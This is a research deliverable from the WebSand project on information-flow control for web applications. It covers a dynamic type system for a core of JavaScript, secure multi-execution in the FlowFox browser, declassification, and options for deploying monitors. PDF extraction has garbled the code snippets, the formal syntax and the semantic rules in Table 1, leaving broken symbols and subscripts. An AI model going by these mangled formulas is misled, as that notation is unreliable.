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Executive Summary
The overall goal of the WebSand project is to empower web application devel-
opers, hosters, and users in designing, implementing, and running secure appli-
cations. As introduced in Deliverable 1.1, web applications share a number of
properties that make them different from many other application domains.

In addition, the Web has evolved from a simple, stateless delivery mechanism
for static hypertext documents to a fully-fledged run-time environment for
distributed, multi-party applications. This shift implies the need to tackle end-
to-end security involving multiple stakeholders, including security-ignorant end-
users.

The end result is the need for flexible cooperative enforcement between the
client and the server to ensure end-to-end security.

To this end Deliverable 3.1 reports on the results on information-flow security
policies. In particular, Deliverable 3.1 investigates decentralized security policies
for confidentiality and information release in the presence of mutual distrust,
and presents a framework that enables collaboration among different participants
without compromising their respective security policies.

This deliverable reports on the results on enforcing information-flow policies
in web applications. We investigate two major facets: 1) how to enforce secure
information flow, 2) how to achieve flexible cooperative enforcement between the
server and the client.

With respect to how to enforce secure information flow, we present two
solutions: 1) using a dynamic monitor, and 2) using secure multi-execution. Two
prototypes of these solutions are reported on in Deliverable 3.2. This deliverable
focuses on the concepts behind them.

With respect to flexible cooperative enforcement of secure information flow
we discuss different ways of deploying the enforcement — as an extension, as a
proxy, as a service or as part of the development process — and their impact on
the different stakeholders.
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1 Introduction
The overall goal of the WebSand project is to empower web application devel-
opers, hosters, and users in designing, implementing, and running secure appli-
cations. As introduced in Deliverable 1.1, web applications share a number of
properties that make them different from many other application domains.

As an example, reliance on third-party code is pervasive, with the included
code ranging from format validation snippets, to helper libraries such as jQuery,
to helper services such as Google Analytics, and to full-fledged services such as
Google Maps and Yahoo! Maps. The same-origin policy (SOP), enforced by the
modern browsers, allows free communication to the Internet origin of a given web
page, while it places restrictions on communication to Internet domains outside
the origin. However, once third-party code is included in a web page, it is executed
with the same privileges as the code that uses the libraries. This gives rise to a
number of attack possibilities that include location hijacking, behavioral tracking,
leaking cookies, and sniffing browsing history [77].

In addition, the Web has evolved from a simple, stateless delivery mecha-
nism for static hypertext documents to a full-fledged run-time environment for
distributed, multi-party applications. This shift implies the need to tackle end-
to-end security involving multiple stakeholders, including security-ignorant end-
users. The situation is further complicated as the different stakeholders — the
developers, hosters, and users — have different interests in the security policies
to be enforced in web applications. Users might demand stronger guarantees than
those offered by SOP when it is not desired that sensitive information leaves the
browser. Code developers clearly have an interest in protecting the secrets asso-
ciated with the web application. Code integrators might have different levels of
trust to the different integrated components, perhaps depending on the origin. It
makes sense to invoke different protection mechanisms for different code that is
integrated into the web application. Finally, system and network administrators
also have a stake in the security goals. It is often desirable to configure the system
and/or network so that certain users are protected to a larger extent or communi-
cation to certain web sites is restricted to a larger extent. The end result is the need
for flexible cooperative enforcement between the client and the server to ensure
end-to-end security.

To this end, Deliverable 3.1 reports on the results on information-flow security
policies. In particular, Deliverable 3.1 investigates decentralized security policies
for confidentiality and information release in the presence of mutual distrust,
and presents a framework that enables collaboration among different participants
without compromising their respective security policies.

This deliverable reports on the results on enforcing information-flow policies
in web applications. We investigate two major facets: 1) how to enforce secure
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information flow, 2) how to achieve flexible cooperative enforcement between the
server and the client.

With respect to how to enforce secure information flow, we present two
solutions: 1) using a dynamic monitor, and 2) using secure multi-execution.
Two prototypes of these solutions are reported on in Deliverable 3.2: JSFlow, a
runtime information-flow monitor for JavaScript, and the FlowFox browser, based
on secure multi-execution. This deliverable focuses on the concepts behind them.

With respect to flexible cooperative enforcement of secure information flow
we discuss different ways of deploying the enforcement — as an extension, as a
proxy, as a service or as part of the development process — and their impact on
the different stakeholders.

1.1 Enforcement of secure information flow
At the heart of the web application is JavaScript, which enables dynamic and
interactive web pages. JavaScript is a dynamically typed, object oriented language
with higher order functions, and a rich execution environment provided by the web
browsers.

1.1.1 Dynamic information-flow control

Tracking information flow in dynamic languages is an important and intricate
problem. Section 2, based on [72], investigates and resolves the main challenges
of enforcing secure information flow for JavaScript by means of a dynamic type
system. In particular, it identifies language constructs that constitute a core
of JavaScript, objects, higher-order functions, exceptions, and dynamic code
evaluation. The core is powerful enough to naturally encode native constructs
as arrays, as well as functionalities of JavaScript’s API from the document object
model (DOM) related to document tree manipulation and event processing.

However, there are well-known fundamental limits of dynamic flow-sensitive
tracking of information flow, where paths not taken in a given execution contribute
to information leaks. To this end Section 3, based on [26], shows how to overcome
the permissiveness limit for dynamic analysis by a novel use of testing. The
basic idea is to start with a program supervised by an information-flow monitor,
with the security of the execution guaranteed by the monitor. Testing boosts
the permissiveness of the monitor by discovering paths where the monitor raises
security exceptions. Upon discovering a security error, the program is modified by
injecting an annotation that prevents the same security exception on the next run of
the program. The elegance of the approach is that it is sound no matter how much
coverage is provided by the testing. Further, it is shown that when the mechanism
has discovered the necessary annotations, then there is an accuracy guarantee:
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the results of monitoring a program are at least as accurate as flow-sensitive static
analysis. The approach is illustrated for a simple imperative language with records
and exceptions. Our experiments with the QuickCheck tool indicate that random
testing accurately discovers annotations for a collection of scenarios with rich
information flows.

1.1.2 Secure multi-execution

Recently, much progress has been made on achieving information-flow security
via secure multi-execution. Secure multi-execution is an elegant way to enforce
security by executing a given program multiple times, once for each security level,
while carefully dispatching inputs and ensuring that an execution at a given level
is responsible for producing outputs for information sinks at that level. Secure
multi-execution guarantees noninterference, in the sense of no dependencies from
secret inputs to public outputs, and transparency, in the sense that if a program is
secure then its secure multi-execution does not destroy its original behavior.

Section 4, based on [50], presents FlowFox, a fully functional web browser
that implements a precise and general information flow control mechanism for
web scripts based on secure multi-execution. It is demonstrated how FlowFox
subsumes many ad-hoc script containment countermeasures developed over the
last years, and that FlowFox is compatible with the current web. The latter is
shown by investigating the behavior of FlowFox on the Alexa top-500 web sites,
many of which make intricate use of JavaScript. The performance and memory
cost of FlowFox is substantial (a performance cost of around 20% on macro
benchmarks for a simple two level policy), but not prohibitive. The FlowFox
prototype implementation shows that information flow enforcement based on
secure multi-execution can be implemented in full-scale browsers. It can support
powerful, yet precise policies refining the same-origin-policy in a way that is
compatible with existing websites.

Section 5, based on [121], pushes the boundary of what can be achieved with
secure multi-execution. First, we lift the assumption from the original secure
multi-execution work on the totality of the input environment (that there is always
assumed to be input) and on the cooperative scheduling. Second, we generalize
secure multi-execution to distinguish between security levels of presence and
content of messages. Third, we introduce a declassification model for secure
multi-execution that allows expressing what information can be released. Fourth,
we establish a full transparency result showing how secure multi-execution can
preserve the original order of messages in secure programs. We demonstrate
that full transparency is a key enabler for discovering attacks with secure multi-
execution.

For many applications — e.g., applications built by collaborating components
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— strong separation between secret and public information is too restrictive. In
order to cater for this Section 6 proposes a novel mechanism for enforcing infor-
mation flow policies with support for declassification on JavaScript programs. In
the approach, a declassification policy is itself a simple JavaScript program that
can maintain state to compute aggregate information about confidential events that
it has seen, and it can specify the declassification of such aggregate information
to public observers. The policies also support the declassification of the occur-
rence of events, while maintaining confidentiality of the event information. We
provide evidence that such declassification policies are useful in the context of
JavaScript web applications by showing they support privacy-friendly collection
of web analytics data. An enforcement is developed mechanism and proved sound
and precise.

1.2 Deployment of information-flow enforcement
The shift from today’s server-centered security solutions implies the need to
tackle end-to-end security involving multiple stakeholders. This results in a hard
to manage security landscape. An additional complication is that the different
stakeholders have different interests in the security policies to be enforced in web
applications. To this end there is a need for the client and server to cooperate in
the enforcement of secure information flow.

Section 7 investigates different ways of deploying information flow enforce-
ment for web application. The focus is on securing JavaScript code via code
rewriting. The idea is to inline security checks in the code before it is executed.
We achieve great flexibility in the deployment options by considering security
monitors implemented as security-enhanced JavaScript interpreters. We propose
architectures for inlining security monitors for JavaScript: via browser extension,
via web proxy, and via suffix proxy (web service). Being parametric in the moni-
tor itself, the architectures provide freedom in the choice of where the monitor is
injected, allowing to serve the interests of the different stake holders: the users,
code developers, code integrators, as well as the system and network adminis-
trators. Additionally, for the developer direct monitor inclusion is suitable. To
protect against malicious or compromised libraries, the developer can execute part
of, or all of the code in the monitor.

The different ways of deploying offer different benefits for the different
stakeholders. For instance, deploying via a proxy gives the end user the possibility
of configuring the enforcement mechanism to control the dissemination for his
secret information, while direct monitor inclusion allows the developer to tailor
the enforcement to the needs of the web application. All presented methods allow
for the enforcement to be server driven in that security policies can be embedded
in the web-application or otherwise transfered to the enforcement mechanism.
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2 Information-Flow Security for a Core of JavaScript

2.1 Introduction
Tracking information flow in dynamic languages remains an important and
intricate problem. The goal of this paper is understanding the fundamentals
of challenges for tracking information flow in dynamic languages and making
substantial headway to resolving them. We believe that with these challenges
addressed, our work opens up opportunities for practical security of dynamic
applications that are hard to secure with existing approaches.
Motivation: Modern web applications make increasingly intensive use of service
composition. A particularly thriving service composition technique is client-side
script inclusion. It allows straightforward integration of services, often provided
by third parties, in so called web mashups. Popular examples of integrated
services are Google Maps for visualizing data on interactive maps and Google
Analytics for collecting statistics of web site usage. Extreme cases of third-
party script inclusion can be found on sensitive web sites like barclays.es,
expedia.com, scrive.se, komplett.se, and webhallen.se, where
the scripts are embedded at top level, often on the same page where the user enters
login credentials. With user credentials at hand, integrated client scripts have
unrestricted power to engage in interaction with the hosting service. A directory
for mashups at programmableweb.com contains more than 6000 registered
mashups and more than 5000 registered content provider API’s.

The state of the art in web mashup security calls for improvement. The same-
origin policy (SOP), enforced by most browsers today, is intended to restrict
access between scripts from different Internet domains. SOP offers an all-or-
nothing choice when including a script: either isolation, when the script is loaded
in an iframe, or full integration, when the script is included in the document via a
script tag.

Securing mashups is subject to currently ongoing research efforts. A recent
survey of the area [131] identifies a number of approaches ranging from isolation
of components to their full integration. The focus of this paper is tight yet secure
integration for scenarios when isolation is too restrictive and full integration is
insecure. In particular, we are interested in applications where access-control
policies fall short and where fine-grained information-flow control is desired.
Scenarios: To illustrate such applications, consider the following scenarios.
The scenarios are modeled on existing web pages, reflecting pervasive usage of
advertising and statistics services on today’s web.

Online advertisement: The first scenario is that of online shopping. The online
shopping code includes a third-party extension for dynamically generated ads. As
items are put in the shopping cart, contextually dependent ads are displayed to
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the user. The ads are tightly integrated in the shopping cart, mixing items with
discount information, offers from the merchant, and ads from cooperating third
parties. This is achieved by programmatic manipulation by JavaScript of the nodes
in the document object model (DOM) tree, a tree representation of the underlying
document. This results in a highly dynamic information flow, where secret and
public information is mixed in the same linear structure.

User tracking: The second scenario is that of a login to a bank. It illustrates
event handling in terms of a keypad for entering a shared secret. The keypad is part
of an application that contains third-party code for creating click heat maps. Such
third-party code is common on many web sites. Consequently, the position of the
clicks must be kept secret from the heat map generator, since the positions of the
clicks encode information about what is entered via the key pad. This implies that
information flow through JavaScript event handlers must be secured.

These scenarios motivate fine-grained security that is more permissive than
full isolation (as provided by, e.g., iframes) and at the same time more secure
than full integration (as provided by script inclusion with no additional measures).
Hence, our objective is to provide a solid foundation for information-flow control
to protect the user from malicious scripts run in a browser. To this end, the paper
delivers the following contributions.
Contributions: We identify a language that constitutes a core of JavaScript and
includes the following constructs: objects, higher-order functions, exceptions, and
dynamic code evaluation. We argue that the choice of the core captures the essence
of the language, and allows us to concentrate on the fundamental challenges for
securing information flow in dynamic languages (Section 2.2). While we address
the major challenge of handling dynamic language constructs, we also resolve
minor challenges associated with JavaScript. The semantics of the language
closely follows the ECMA-262 standard (v.5) [56] on the language constructs
from the core.

We develop a dynamic type system for information-flow security for the core
language (Section 2.3) and establish that the type system enforces a security policy
of noninterference [42, 65], that prohibits information leaks from the program’s
secret sources to the program’s public sinks (Section 2.4). Corner cases of
the soundness proof are formalized in the proof assistant Coq [43]. We have
implemented the type system and performed a proof-of-concept indicative study
of permissiveness using the scenarios above.

We show that the core is powerful enough to naturally encode native constructs
as arrays, as well as functionalities of JavaScript’s DOM API related to document
tree manipulation and event processing (Section 2.5). We develop these encodings
as a part of our implementation for the two scenarios above.

The first encoding implements parts of the core functionality of the Document
Object Model (DOM) [74] without imposing any constraints on the navigation.
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In particular, direct indexing via the childNodes array, and node relocation when
repeatedly adding the same node is fully supported. The implementation only
deals with the dynamic tree structure of the DOM, in order to investigate the
permissiveness of dynamic information flow. It does not obviate the need for
specific handling of the DOM in the form of, e.g., wrappers implementing specific
type rules, since the DOM is typically not implemented in JavaScript.

JavaScript does not include concurrency features. However, the DOM API
allows creating JavaScript handlers that are triggered by external events and run
without preemption. The second encoding implements a simplified version of the
events of JavaScript, and shows how the propagation of events can be controlled,
including how events can be stopped, the presence of certain events can be made
secret, or how the presence of events can be public, while the data of the event
remains secret.

2.2 Challenges and our approach
The ultimate goal of this work is to enforce information-flow security in
JavaScript. This section outlines the main challenges and illustrates our approach
to resolving them.

2.2.1 Language challenges

JavaScript is a dynamically typed, object-based language with higher-order func-
tions, and dynamic code evaluation via, e.g., the eval construction. The volu-
minous ECMA-262 standard describes the syntax and semantics of JavaScript.
The challenge is identifying a subset of the standard that captures the core of
JavaScript from an information-flow perspective, i.e., where the left-out features
are either expressible in the core, or where their inclusion does not reveal new
information-flow challenges. We identify the core of the language to be: objects,
higher-order functions, exceptions, and eval. In addition, we show that the well-
known problems associated with the JavaScript variable handling and the with
construct can be handled via a faithful modeling in terms of objects.

2.2.2 Security challenges

Before presenting the security challenges, we briefly recap standard information-
flow terminology [53]. Traditionally, information flow analyses distinguish
between explicit and implicit flows.

Explicit flows amount to directly copying information, e.g., via an explicit
assignment like l = h;, where the value of a secret (or high) variable h is copied
into a public (or low) variable l. High and low represent security levels. We

FP7-ICT-2009-5
Project No. 256964



D3.3: Information-flow policies and server-driven enforcement 17/172

assume two levels without losing generality: our results apply to arbitrary security
lattices [52]. Security labels are used to store security levels for associated
variables. In the following let h and l represent high and low variables.

Implicit flows may arise when the control flow of the program is dependent
on secrets. Consider the program if (h) l = 1; else l = 0;. Depending on the
secret stored in variable h, variable l will be set to either 1 or 0, reflecting the value
of h. Hence, there is an implicit flow from h into l. Frequently, this is tracked by
associating a security label, the security context, with the control flow. Above, the
body of the conditional is executed in a secret context. Equivalently, the branches
of the conditional are said to be under secret control. The definition of public
context and public control are natural duals.

Eval: The runtime possibility to parse and execute a string in a JavaScript
program, provided by the eval instruction, poses a critical challenge for static
program analyses, since the string may not be available to a static analysis.

Our approach: Dynamic analyses do not share this limitation, by virtue of the
fact that dynamic analyses are executed at runtime. This is one of the two main
reasons for the use of a dynamic type system in this paper.

Aliasing and flow sensitivity: The type system of JavaScript is flow sensitive;
the types of, e.g., variables and fields are allowed to vary during the execution.
In addition, objects in JavaScript are heap allocated and represented by primitive
references — their heap location. Hence, objects in JavaScript may be aliased.
An alias occurs when two syntactically different program locations (e.g., two
variables x and y) refer to the same object (contain the same primitive reference).

Flow sensitivity in the presence of aliases poses a significant challenge for
static analyses, since changing the labels of one of the locations requires that the
security labels of all aliased locations are changed as well, which requires the
static analysis to keep track of the aliasing.

Our approach: Dynamic approaches do not share this limitation, since they are
able to store the security label in the referred object instead of associating it with
the syntactic program location. Consider the following program:

x = new O b j e c t ( ) ; x . f = 0 ; y = x ; y . f = h ;

First, a new object is allocated and the primitive reference to the object is stored
into x. Thereafter, the field f of the newly allocated object is set to 0, and y is
made an alias of x, and the field f is overwritten by a secret via y. This kind of
programs are rejected by static analysis like Jif [110]. In the dynamic setting, we
simply update the security label of the value of the field f of the allocated object.
This is the second main reason for the use of a dynamic type system in this paper.

Dynamic flow sensitivity: There is a known limitation [61, 129] of the flow
sensitivity of dynamic analyses. Consider the following example, where we
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assume h is 1 or 0 originally:

l = 1 ; t = 0 ; i f ( h == 1) t = 1 ; i f ( t != 1 ) l = 0 ;

If security labels are allowed to change freely under secret control, the above
program results in the value of h being copied into l without changing the security
label of l.

Our approach: In order to prevent such leaks it suffices to disallow security
label upgrades under secret control. This corresponds to Austin and Flanagan’s
no sensitive upgrade [11] discipline. Hence, the execution of the above program
is stopped with a security error.

Structure and existence: Not only the values of fields can be used to encode
information, but also their presence or absence. Consider the following example:

i f ( h ) o . q = 0 ;

After execution of the conditional the answer to the question whether q is in the
domain of o gives away the value of h. It is important to note that not only
the presence, but also the absence, of q gives away information — copying the
value of h into l via the presence/absence of q can easily be done by executing
l = (o.q != undefined ); , since projecting non-existing fields returns undefined.

Our approach: We solve this by associating an existence security label with
every field, and a structure security label with every object, demanding that
addition of new fields under secret control is possible only if the structure of the
object is secret. Once the structure of an object is secret, knowing the absence
of fields in the object is also secret. In the example above o.q would have secret
existence security labels, and the structure of o would have to be secret for the
body of the conditional to be allowed to be executed.

Permissiveness: As is, no sensitive upgrade prevents affecting public locations
under secret control. This poses a permissiveness challenge: how to secure
programs where public locations must be assigned under secret control.

Our approach: We address the challenge by facilitating upgrade of the security
label before entering the secret control via the addition of a number of upgrade
instructions to the language. All but one of the upgrade instructions is expressible
in the language. Thus, the addition is merely one of convenience and does not
extend the language.

Also note that the upgrade instructions are not necessary for the soundness of
the system. They may be used to increase the permissiveness of the type system
by communicating security policies to the runtime type checker. Although they
can be used as part of the programming language, in order to support legacy code
it is more fruitful to view it as a way to incorporate the results of an automatic
analysis. We have successfully experimented with the use of automatic black-
box testing to inject the upgrade instructions [26]. The idea is to run a modified
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version of the type system on automatically generated test cases, and, whenever
the type system stops the execution, the trace of the execution is inspected to
find the place in the program where an upgrade instruction must be inserted. The
inserted upgrade instructions prevent the monitor from blocking the program and
thus help avoiding false positives. Our experiments for a language with records
and exceptions indicate that random testing accurately discovers annotations for a
collection of scenarios with rich information flows.
Upgrade of the values of variables and fields: In order to write to variables or
fields under secret control, the language provides instructions that upgrade the
security label of the value of the variable or field. For instance, the example
from the discussion on dynamic flow sensitivity above can be secured by adding
appropriate upgrades:

l = 1 ; t = 0 ; upg t ; i f ( h == 1) t = 1 ;
upg l ; i f ( t != 1 ) l = 0 ;

By upgrading the security label of the value of t before the conditional in which
t is assigned we guarantee that the security label of the value of t is independent
of secrets and compatible with the assignment (analogously for l). This renders a
program that runs for all values of h, and where the results stored in variables t
and l are always secret.
Upgrade of object structure and field existence: Addition and deletion of fields
under secret control is only allowed on structurally secret records: the existence
of the added field becomes secret, and only fields with a secret existence label
are allowed to be removed. To enable fields to be added or deleted under secret
control the structure security label of the record must be raised, as illustrated in
the example below:

upg s t r u c t o ; o . x = 1 ; o . y = 1 ;
upg e x i s t e n c e o . x ; upg e x i s t e n c e o . y ;
i f ( h ) d e l e t e o . x ; e l s e d e l e t e o . y ;

Finally, it is not possible to express the upgrade of the existence security
label of variables or of the structure security label of environment records (see
Section 2.3.2). Under some circumstances this hinders addition and deletion
of variables under secret control. However, this restriction is in line with the
design of JavaScript, where variable hoisting serves the purpose to make variable
declarations independent of the control structure.

Exceptions: Exceptions offer further intricacies, since they allow for non-local
control transfer. Any instructions following an instruction that may throw an
exception based on a secret must be seen as being under secret control, since,
similar to the conditional, the instruction may or may not be run based on whether
the exception is thrown or not. Consider the following example:
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l = t r u e ; i f ( h ) { throw 0 } ; l = f a l s e ;

Whether h is 0 or not controls whether the update is run or not and hence l encodes
information about h.

Our approach: The default-allow policy for exceptions is clearly too restrictive
— it would force us to treat all side effects after the first possible exception
under secret control as secret. Instead, we introduce a dynamic security label
for exceptions. If the exception security label is public, exceptions under secret
control are prohibited. If, on the other hand, the security label is secret, any side
effects are treated as if they were under secret control.

Let us return to the example above. Since the exception security label in the
example is public, the conditional is prevented from throwing exceptions and the
update of l can proceed without restrictions. If we want to allow the exception
to be thrown, however, we upgrade the exception security label, in which case
the update of l will be treated as being under secret control. On that account,
the language provides an upgrade instruction upg exc that upgrades the exception
security label. Note that this instruction is not expressible in the language.

To make the example above run properly we must upgrade both the exception
security label and the security label of the variable l.

l = t r u e ; upg l ; upg exc ;
i f ( h ) { throw 0 } ; l = f a l s e ;

Clearly, secret exceptions would be rather prohibitive if there was no way of
lowering the exception security label. To this extent, the body of the try-catch
statement can be used to encapsulate exception security label upgrades. Consider
the following example:

l 1 = t r u e ; upg l 1 ;
t r y { upg exc ; i f ( h ) { throw 0 } ; l 1 = f a l s e ; }
c a t c h ( x ) { s k i p } ; l 2 = 1 6 ;

In this example, since the upgrade of the exception security label occurs inside a
try-catch statement , we know that regardless of whether an exception is thrown
or not the assignment to l2 will be run. Thus, the update of l2 is public, whereas
the update of l1 remains secret. The exception handler is run under secret control
given that the exception label is secret. The exception security label of the handler,
however, is the initial exception security label, which means that exceptions are
not allowed in the handler, unless exceptions under secret control are allowed by
the outer exception security label.

Although the language must be extended with non-standard constructs to
handle upgrading of the exception security label this is not a fundamental
limitation. Under the assumption that normal execution is prevalent, i.e., that
the exceptions are used only in cases where there is a failure. For such cases,
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the exception security label instruction can be provided in order to increase the
permissiveness of the system. In the case the instruction is not made available
only programs that must be able to recover secret exceptions are affected.

Higher-order functions: Being first class values, functions carry a security type
that must be taken into consideration when calling the function. Consider the
following example, where a secret function f is created by choosing between two
functions under secret control.

f = i f ( h ) { f u n c t i o n g ( x ) { l = 1 ; }}
e l s e { f u n c t i o n g ( x ) { l = 0 ; }}

Depending on the secret h, a function that writes 1, or a functions that write 0 to l
is chosen, and applying the result copies the value of h into l.

Our approach: The body of the function must be run in a security context that
is at least as secret as the security label of the function. This discipline is inspired
by static handling of higher-order functions [115].

Variables and scoping: JavaScript is known for its non-standard scoping
rules. Variable hoisting in combination with non-syntactic scoping, the with and
eval constructions, and the fact that updating non-existing variables will define
the variable in the global variable environment, cause complex and sometimes
unexpected behavior. To appreciate this consider, for instance, conditional
shadowing using eval.

f = f u n c t i o n f ( x ) { i f ( h ) { e v a l ( " v a r l " ) } ; l = 0}

In order to understand this example we must know more about functions and
scoping in JavaScript. First, the variable environments form a chain. Variable
lookup starts in the topmost environment and continues down the chain until the
variable has been found or the end of the chain — the global variable environment
— has been reached.

Second, both if and eval are unscoped, i.e., the variable declared by the eval
is declared in the topmost variable environment of the function call. The use of
eval is to prevent variable hoisting until the execution of the conditional branch.
Otherwise, l would be hoisted out of the if and always be declared regardless of
the value of h.

Execution of f is split into two cases. If h is true, the variable is defined
locally in the function, and the update of l is captured by the local l. If h is false,
l is created in the global variable environment (unless it already exists). Hence,
both the value of l in the global variable environment and potentially its existence
encodes information about h. The latter implies that we must track the structure
of variable environments, similar to objects above. In addition, the presence or
absence of the l in the local variable environment (or somewhere else in the chain
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in general) effects where the update takes place. This means that, when reading or
writing to variables, the structure security labels encountered during the traversal
of the variable chain must be taken into account.

Our approach: We show that the intricate variable behavior of JavaScript can
be handled by a faithful modeling of the execution context in terms of objects.

2.2.3 From the core to full JavaScript

The core has been selected to be representative of the information flow challenges
of JavaScript. The simplifications and omissions have been chosen to not exclude
any information flow challenges. Hence, our approach is not a sub-language
approach. Rather we envision that extension to the full language is possible
without further technical development.

In addition, even though property attributes and other ECMA-262 (v.5)
features like the ability to freeze objects and strict mode are important from a
security perspective and might simplify enforcement of secure information flow
we cannot assume that code is strict mode without sacrificing the possibility
of handling legacy code. For this reason, we target the non-strict semantics of
ECMA-262 (v.5).

With the intuition on the challenges and their resolution at hand, we are now
ready to proceed to the formal development: the presentation of the dynamic type
system and its soundness.

2.3 Language
The semantics is a subset of the non-strict semantics of ECMA-262 (v.5) standard.
In order to aid the verification of the semantics and increase confidence in our
modeling we have chosen to follow the standard closely.

The semantics is instrumented to track information flow with respect to
a two-level security lattice, classifying information as either public or secret,
preventing secret information from affecting public information. This is achieved
by stopping the execution when potential leaks are detected, which is expressed
in the semantics by not providing reduction rules for the cases that may cause
insecure information flow. Stopping the execution when security violations are
detected may introduce a one-bit information leak, which is reflected in our
baseline security condition in Section 2.4.
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e ::= s | n | b | undefined | null | this | x | e1[e2] | e1 = e2
| delete e | typeof (e) | e1 ? e2 | e(e) | new e(e)
| function x(x) c

c ::= var x | c1; c2 | if (e) c1 else c2 | while (e) c
| for (x in e) c | throw e | try c1 catch(x) c2 | return e
| eval e | with e c | skip | upg l | e

l ::= e | existence e | struct e | exc

2.3.1 Syntax

Let X range over lists of X , where · denotes the cons operator and [ ] denotes
the empty list, e.g., x denotes lists of variable names, and e denotes lists of
expressions.

The syntax of the language consists of two basic syntactic categories: expres-
sions, ranged over by e, and statements, ranged over by c.

Unary operators are represented by delete, and typeof, and, without loss of
generality, the binary operators are opaquely represented by ?. In addition, the
empty statement is represented by a distinguished skip statement and the language
is extended with nonstandard constructions for security label upgrade of variables
and fields, existence security labels of fields, structure security labels of objects
and the exception security label, explained in Section 2.2.2. For simplicity we
assume that each function contains exactly one return statement, and that it occurs
as the last statement in the body of the function. Also, in the following, we identify
string literals and variable names, writing s instead of ”s”.

2.3.2 Semantics

The semantics of the language is given in big-step operational form and provides
dynamic security type checking.

This section consists of two parts. First, we introduce the values including
a primitive notion of objects, the basis for the formulation of ECMA objects.
This provides functionality for basic object interaction, extended to function
objects, providing function call, and object construction via constructor functions,
and environment records, providing the foundation for the lexical and variable
environments. Second, we introduce the semantics of expressions and statements
in terms of the development of the first part.

This stepwise construction allows for most of the information-flow control to
be pushed into the basic primitives, simplifying the formulation of more complex
functionality and their explanation.
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v ::= r | s | n | b | undefined p ::= v̇ | F | c | x
o ::= {s1

σ17→ p1, . . . , sn σn7→ pn, σ}

Values: Let H (secret) and L (public) be security labels, ranged over by σ, used
to label the other values with security information. For clarity in the semantic
rules, let pc and ε range over security labels in the function of security context and
the exception security label, see Section 2.2.2.

The primitive values, ranged over by v, are primitive references (i.e., opaque
pointers), strings, numbers, booleans, and the undefined value. Similarly to
security labels above, r ranges over primitive references in general, while le,
ve, and τ range over primitive references when denoting lexical environments,
variable environments, and the this binding, defined below.

In the instrumented semantics all primitive values occur together with a
security label representing the security classification of the value. Let vσ be
security labeled primitive values, written v̇ when the actual security label is
unimportant. Let v̇σ2 = vσ

σ2
1 = vσ1tσ2 .

The references, (ṙ, ṡ), are pairs of security labeled primitive references and
strings, denoting a field in an object. In the following we let v̇ range over both
security labeled value and references, (ṙ, ṡ).

In addition to the primitive values, the notion of primitive object, ranged over
by o, forms the foundation of the semantics of JavaScript. A primitive object is
a map from strings to properties, decorated with existence and structure security
labels, see Section 2.2.2. The fields are either internal or external indicated by
the IsExternal predicate on strings, which is false for strings of the form _s_ and
true otherwise. Internal fields are used in the implementation of the semantics
but are not exposed to the programmer — see the semantics of for-in below. The
properties of external fields are security labeled primitive values, while internal
fields may hold algorithms represented by general functions, F , statements, c,
and lists of formal parameters, x.

The heap, ranged over by φ, is a mapping from primitive references to
primitive objects. The execution environment E ::= (φ, ε) is a pair of a heap,
φ, and an exception security label, ε. Let E[r] = φ[r] for E = (φ, ε). In addition,
execution takes place with respect to an execution context C ::= (τ̇ , l̇e, v̇e),
built up by the this binding, τ , a primitive reference, le, to the topmost lexical
environment, and a primitive reference, ve, to the topmost variable environment.
Let u̇ denote exception lifted values, i.e., u̇ ::= v̇ | exc v̇.

ECMA Objects: All objects of JavaScript define a number of internal algorithm
fields that provide a common interface for interacting with the object. Most of the
standard is described in terms of this interface; only few algorithms manipulate
the primitive objects directly. This common core provides an ideal location
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o = E[r] o = {s σ37→ v̇, . . . }
GetOwnProperty(rσ1 , sσ2) E = {value 7→ v̇σ1tσ2tσ3}

o = E[r] s 6∈ dom(o) o = {. . . , σ3}
GetOwnProperty(rσ1 , sσ2) E = undefinedσ1tσ2tσ3

GetOwnProperty(ṙ, ṡ) E = {value 7→ v̇}
GetProperty(ṙ, ṡ) E = {value 7→ v̇}

GetOwnProperty(ṙ, ṡ) E = undefinedσ1

o = E[r] o[_Prototype_] = nullσ2

GetProperty(ṙ, ṡ) E = undefinedσ1tσ2

GetOwnProperty(ṙ1, ṡ) E = undefinedσ1

o = E[r1] o[_Prototype_] = ṙ2 GetProperty(ṙ2, ṡ) E = d

GetProperty(ṙ1, ṡ) E = dσ1

GetProperty(ṙ, ṡ) E = {value 7→ pσ}
HasProperty(ṙ, ṡ) E = trueσ

GetProperty(ṙ, ṡ) E = undefinedσ

HasProperty(ṙ, ṡ) E = falseσ

o = φ[r] o = {s σ37→ v̇, . . . , σ4} σ = pc t ε t σ1 σ <: σ4 σ t σ2 <: σ3

pc ` Delete(rσ1 , sσ2) (φ, ε) = (trueL, (φ[r 7→ o \ s, σ2 t σ4], ε))

o = E[r] s /∈ dom(o)
pc ` Delete(ṙ, ṡ) E = (trueL, E)

GetProperty(ṙ, ṡ) E = {value 7→ v̇}
Get(ṙ, ṡ) E = v̇

GetProperty(ṙ, ṡ) E = undefinedσ

Get(ṙ, ṡ) E = undefinedσ

o1 = φ[r] o1 = {s σ37→ vσ4
2 , . . . , σ5} σ = pc t ε t σ1

σ u σ2 <: σ5 σ t σ2 <: σ4 o2 = o1[s (σtσ2)uσ37→ v̇σtσ2
1 , σ2 t σ5]

pc ` Put(rσ1 , sσ2 , v̇1) (φ, ε) = (φ[r 7→ o2], ε)

o1 = φ[r] s 6∈ dom(o1) o1 = {. . . , σ3} σ = pc t ε t σ1

σ <: σ3 o2 = o1[s σtσ27→ v̇σtσ2
1 , σ2 t σ3]

pc ` Put(rσ1 , sσ2 , v̇1) (φ, ε) = (φ[r 7→ o2], ε)

Table 1: ECMA Objects
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for handling information flow security. By showing that the core is secure we
can easily establish (by using compositionality of our security notion) that more
complex functionality formulated in terms of the core is secure as well.

The explanation of information flow in an object oriented language is facili-
tated by the notions of read context, and write context. The read context for an
entity is the accumulated security label of the access path of the entity. For a field,
the access path is the primitive reference to the object containing the field together
with field name. When reading, the result is raised to security label of the read
context.

The write context of an entity is the read context together with the security
context and the exception security label. When writing to an entity the demand is
that the security label of the entity is at least as secret as the write context of the
entity. This ensures that the security labels are independent of secrets.

We define ECMA Objects to be primitive objects extended with a relevant
selection of the core functionality. In particular, an ECMA Object O is defined by

O = { _GetOwnProperty_ 7→ GetOwnProperty,
_GetProperty_ 7→ GetProperty,
_HasProperty_ 7→ HasProperty,
_Delete_ 7→ Delete, _Get_ 7→ Get, _Put_ 7→ Put }

The rules for ECMA Objects are found in Table 1.

GetOwnProperty: Given a primitive reference and field name GetOwnProperty
returns a property descriptor, {value 7→ v̇} containing the value of the field or
undefined in the case the field does not exists. In both cases the security label of
the result is raised to the read context (i.e. the primitive reference and field name).
